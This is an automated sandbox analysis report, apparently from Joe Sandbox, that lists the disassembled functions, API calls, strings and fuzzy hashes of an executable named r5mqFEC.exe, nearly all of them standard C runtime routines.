Instruction Fuzzy Hash: 86710472D00A45ABDF229F649C45FAE7BBBAF44310F28011BE906A7381E77DDD5087A1

Function 007CB150 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007CB187
___except_validate_context_record.LIBVCRUNTIME ref: 007CB18F
_ValidateLocalCookies.LIBCMT ref: 007CB218
__IsNonwritableInCurrentImage.LIBCMT ref: 007CB243
_ValidateLocalCookies.LIBCMT ref: 007CB298

Strings

csm, xrefs: 007CB22D

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 11d6a087a49bf48a3a319a541c779778ec82f00276bd02fab5a34ea5044d03c4
Instruction ID: b936436d869ee5ca10642468aaefe2a175ece397ed18924240cbdc3a1bb9e0f0
Opcode Fuzzy Hash: 11d6a087a49bf48a3a319a541c779778ec82f00276bd02fab5a34ea5044d03c4
Instruction Fuzzy Hash: A2419034A00249DFCB10DF69C88AFAEBBB5BF45324F18845DF8159B252D739AA11CB91

Function 007CD85A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,007CD851,007CAF2D,007CA5C4), ref: 007CD868
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 007CD876
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 007CD88F
SetLastError.KERNEL32(00000000,007CD851,007CAF2D,007CA5C4), ref: 007CD8E1

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5690bafd32aa47329ca9b31bb5380dbbcc7088d1a189cffd257f97b7bd83e516
Instruction ID: f5260e9fe6ff03692d359bd592517647e419c7c86c24d7e58304e9ad7ad86f00
Opcode Fuzzy Hash: 5690bafd32aa47329ca9b31bb5380dbbcc7088d1a189cffd257f97b7bd83e516
Instruction Fuzzy Hash: 9F01DD3211A7519EE6352BB47C89F1A27D4DB557B4720433FF010891E2EF9E4C526244

Function 007D1B74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe, xrefs: 007D1B90

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe
API String ID: 0-3623567491
Opcode ID: e759c946916c57b134dec4588d0e22ff150cefdbbfe5abd59beabd0f13a46738
Instruction ID: eb5ea5da0fae4741074cc959dd5b396c12e76fd2c442f29f45dc3a15e6e01ead
Opcode Fuzzy Hash: e759c946916c57b134dec4588d0e22ff150cefdbbfe5abd59beabd0f13a46738
Instruction Fuzzy Hash: B7219DB1600209BF8B20AF65DD85E6A77BDAF50364790851BF8199B751EB38EC108BA0

Function 007CBF74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D3EC7EAB,?,?,00000000,007D760B,000000FF,?,007CC035,00000002,?,007CC0D1,007CD3C0), ref: 007CBFA9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 007CBFBB
FreeLibrary.KERNEL32(00000000,?,?,00000000,007D760B,000000FF,?,007CC035,00000002,?,007CC0D1,007CD3C0), ref: 007CBFDD

Strings

mscoree.dll, xrefs: 007CBFA2
CorExitProcess, xrefs: 007CBFB3

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7c06e72639c6d49f974886e9912d84f403b59612ae120d0f7f45aa9d21569822
Instruction ID: e443e6de954c26ca96fee488bd7d17bda185794541e2ae044d41ff4f57ba2d66
Opcode Fuzzy Hash: 7c06e72639c6d49f974886e9912d84f403b59612ae120d0f7f45aa9d21569822
Instruction Fuzzy Hash: 3401A271A44659AFDB029F50CC09FAEBBB8FB08B14F04452EF811A6790DBBC9900CF94

Function 007D2F3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007D2FC2
__alloca_probe_16.LIBCMT ref: 007D308B
__freea.LIBCMT ref: 007D30F2

Part of subcall function 007D0C65: RtlAllocateHeap.NTDLL(00000000,?,-A3400188,?,007C9200,?,?,007C67E7,?,007C6199), ref: 007D0C97

__freea.LIBCMT ref: 007D3105
__freea.LIBCMT ref: 007D3112

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 9c51365a095d0074531d5b16c3644af3dc610c0e2065b43ffc5b052ed751b3d0
Instruction ID: 796512be73041926c1e3b64acc10786275646514fa10c9946d78b04e489c4d02
Opcode Fuzzy Hash: 9c51365a095d0074531d5b16c3644af3dc610c0e2065b43ffc5b052ed751b3d0
Instruction Fuzzy Hash: 1051B77260050AABDB209F60CC86EBB7BB9EF44750F25052AFD04EA351EB39CE50D661

Function 007CE518 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,007CE41E,?,?,00000000,00000000,00000000,?), ref: 007CE53D
CatchIt.LIBVCRUNTIME ref: 007CE623

Strings

RCC, xrefs: 007CE557
MOC, xrefs: 007CE54F

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: cc4a8bad3f39e36186c57cc54f625b972b74d9e48abf1d52f4c9f492b0326538
Instruction ID: 658125eca6a63b3138fa7ede6494b409a9e6fb5705acf5a50be84b47e7b7e08b
Opcode Fuzzy Hash: cc4a8bad3f39e36186c57cc54f625b972b74d9e48abf1d52f4c9f492b0326538
Instruction Fuzzy Hash: 5B414771900109AFCF26DF98DD85EAE7BB5EF48304F18806DF905B7211E239AA60DB51

Function 007D2C7E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,007D2D1A,00000000,?,007E1CD0,?,?,?,007D2C51,00000004,InitializeCriticalSectionEx,007D96F8,007D9700), ref: 007D2C8B
GetLastError.KERNEL32(?,007D2D1A,00000000,?,007E1CD0,?,?,?,007D2C51,00000004,InitializeCriticalSectionEx,007D96F8,007D9700,00000000,?,007CE73C), ref: 007D2C95
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 007D2CBD

Strings

api-ms-, xrefs: 007D2CA2

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 7efc5984e7d0fa1ecb75d3dadabedd087bbc56b040d6fb2dde4fe4662a825cee
Instruction ID: b859f1aa7582289775a201cd52c78684a6fd76773895b985c88977655b37cb95
Opcode Fuzzy Hash: 7efc5984e7d0fa1ecb75d3dadabedd087bbc56b040d6fb2dde4fe4662a825cee
Instruction Fuzzy Hash: 7AE04830390205BBDF112B60DD0AB5C3F79AB10B54F144423F90DA82F1E7699C129669

Function 007D3608 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(D3EC7EAB,00000000,00000000,?), ref: 007D366B

Part of subcall function 007D2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,007CD7D1,?,00000000,?), ref: 007D21B2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 007D38BD
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 007D3903
GetLastError.KERNEL32 ref: 007D39A6

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 2a925d7383f859eaabbf5f217cbbc0752206b4929e08221e81903f6af81ff67a
Instruction ID: 06973463dadfa62c203c812dccd7f45e832ab18040d4e5be3e3f7679576fbdeb
Opcode Fuzzy Hash: 2a925d7383f859eaabbf5f217cbbc0752206b4929e08221e81903f6af81ff67a
Instruction Fuzzy Hash: 98D18CB5E00248DFCF15CFA8C8949ADBBB5FF48314F28412AE466EB351D734AA41CB51

Function 007CDF1C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 007CDFE3
___AdjustPointer.LIBCMT ref: 007CE006
___AdjustPointer.LIBCMT ref: 007CE0A2

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4a1c38b9943790327382fb575915b40ee900ef0dd0f5a437a45b1affa98e6f59
Instruction ID: f03ad33f0fc14e7d20e3e52e55df94373330276e01ae0cb4291dabc2753fc768
Opcode Fuzzy Hash: 4a1c38b9943790327382fb575915b40ee900ef0dd0f5a437a45b1affa98e6f59
Instruction Fuzzy Hash: 81510472A05646EFEB299F10D845FBAB3A4FF04314F24442DE9069B291E7BDEC80D791

Function 007D15D8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 007D2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,007CD7D1,?,00000000,?), ref: 007D21B2

GetLastError.KERNEL32 ref: 007D163C
__dosmaperr.LIBCMT ref: 007D1643
GetLastError.KERNEL32(?,?,?,?), ref: 007D167D
__dosmaperr.LIBCMT ref: 007D1684

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 7f1026ce3c5e5327b5062c50cb97afd41d967c9fd86044b7037a1d969a314975
Instruction ID: 015ab5a8336cc3cba8a05601b2a35d819b2b809cd7ed279782d2ffab1dce6d0f
Opcode Fuzzy Hash: 7f1026ce3c5e5327b5062c50cb97afd41d967c9fd86044b7037a1d969a314975
Instruction Fuzzy Hash: C321CF71600205FFDB20AF619C85D7AB7BCEF44364B94856BF8299B311DB38EC008BA0

Function 007D224D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 007D2255

Part of subcall function 007D2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,007CD7D1,?,00000000,?), ref: 007D21B2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 007D228D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 007D22AD

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: cd38b632bc00f59322de7fbe7aedbd295dc2cc2c8a9f90a57fc6d7f3e93a4052
Instruction ID: 7d1d685844b356fcbe75db9ff017b980ba12e191ca7e8ee8f3eb225682716bca
Opcode Fuzzy Hash: cd38b632bc00f59322de7fbe7aedbd295dc2cc2c8a9f90a57fc6d7f3e93a4052
Instruction Fuzzy Hash: B611C4B2502519BF671237759C8DDBF2A7CEEA5394B114027F801A1302FA2CED0392B5

Function 007D57E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000), ref: 007D57F7
GetLastError.KERNEL32(?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000,?,?,?,007D3340,00000000), ref: 007D5803

Part of subcall function 007D5860: CloseHandle.KERNEL32(FFFFFFFE,007D5813,?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000,?,?), ref: 007D5870

___initconout.LIBCMT ref: 007D5813

Part of subcall function 007D5835: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,007D57D1,007D4F3E,?,?,007D39FA,?,00000000,00000000,?), ref: 007D5848

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000,?), ref: 007D5828

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 101dbb0a75b2c45a734ab9463f938e8a033f064a4fb8f8e7086c4351da6acec0
Instruction ID: eeb4414fb167be02e36ffef3326624e2574e1936e4f9179d64d621dec4f3bf3a
Opcode Fuzzy Hash: 101dbb0a75b2c45a734ab9463f938e8a033f064a4fb8f8e7086c4351da6acec0
Instruction Fuzzy Hash: F8F0AC36501599FBCF222FD5DC0899A7F36EB097A1F448422FA189A220D6768860EB95

Function 007CDD8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 007CDD95

Strings

csm, xrefs: 007CDDB7
csm, xrefs: 007CDE28

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 619b88fd30c4a2afa256a7c2ef98b4087a5f6e56e8989076bd95e589b9663164
Instruction ID: ef513fbb619fcad4502bfe56953e9e0c14c0551f82dd1f81c03cb496806d7a84
Opcode Fuzzy Hash: 619b88fd30c4a2afa256a7c2ef98b4087a5f6e56e8989076bd95e589b9663164
Instruction Fuzzy Hash: 1431E776900259EBCF364F94CC44E6A7B66FF18315B18456EF8444E111D33BDC62DB91

Analysis Process: r5mqFEC.exePID: 7572, Parent PID: 7276COMMON

Non-executed Functions

Function 007D17FB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007D18EB

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b79059c25737c50fbeeadfa5e16251f0dcaead7f8fab46d47ab4624bbc0e4f99
Instruction ID: 3556f988379dc1fb000f325415609e1a6fd0885894c28970265a9b86acc69bad
Opcode Fuzzy Hash: b79059c25737c50fbeeadfa5e16251f0dcaead7f8fab46d47ab4624bbc0e4f99
Instruction Fuzzy Hash: 8471F071D05168BFDF20EF289C9DABEB7B9AB45300F9481DBE049A7311DA385E859F10

Function 007CA464 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 007CA470
IsDebuggerPresent.KERNEL32 ref: 007CA53C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 007CA55C
UnhandledExceptionFilter.KERNEL32(?), ref: 007CA566

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 620750fbfd3475f21e1030367f74ed716efacfde4220179b8c0f3179fd70bd21
Instruction ID: f77595ba404e536caa05d3ce6799677b02efc45325e9baabc739433218ebcfc0
Opcode Fuzzy Hash: 620750fbfd3475f21e1030367f74ed716efacfde4220179b8c0f3179fd70bd21
Instruction Fuzzy Hash: 30310775D0125CDBDB11EFA4D989BCDBBB8AF08304F1080AEE408AB250EB749B85CF45

Function 007C9CC2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 007C9CD6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 007C9CE4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 007C9CF5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 007C9D06
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 007C9D17
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 007C9D28
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 007C9D39
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 007C9D4A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 007C9D5B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 007C9D6C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 007C9D7D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 007C9D8E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 007C9D9F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 007C9DB0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 007C9DC1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 007C9DD2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 007C9DE3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 007C9DF4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 007C9E05
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 007C9E16
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 007C9E27
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 007C9E38
